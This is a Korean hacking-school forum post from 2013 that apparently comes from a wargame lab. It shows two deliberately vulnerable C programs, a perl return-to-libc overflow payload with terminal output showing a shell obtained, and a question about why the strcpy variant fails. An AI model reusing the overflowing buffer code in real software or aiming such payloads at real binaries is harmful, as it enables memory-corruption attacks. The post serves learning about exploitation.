|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=4329 [복사]
[dark_eyes@Fedora_1stFloor ~]$ cat a.c
#include <stdio.h>
int main(int argc, char* argv[])
{
char buf[256];
fgets(buf, 300, stdin);
printf("%s \n", buf);
return 0;
}
[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "A"x268, "\x84\x07\x75\x00"';cat)| ./a
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA꼞
id
uid=502(dark_eyes) gid=502(dark_eyes) groups=502(dark_eyes) context=user_u:system_r:unconfined_t
do_system rtl 성공 ( + gets 도 )
하지만,
[dark_eyes@Fedora_1stFloor ~]$ cat b.c
#include <stdio.h>
#include "dumpcode.h"
int main(int argc, char* argv[])
{
char buf[256];
strcpy(buf, argv[1]);
printf("%s \n", buf);
dumpcode(buf, 300);
return 0;
}
strcpy의 경우
./b `perl -e 'print "A"x268, "\x84\x07\x75\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA꼞
./b: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA꼞: File name too long
gets, fgets --> do_system rtl 성공
strcpy, strncpy --> 실패
이유가 뭘까요??
|
Hit : 4189 Date : 2013/08/22 04:00
|
3916, 
1/196 
blueh4g
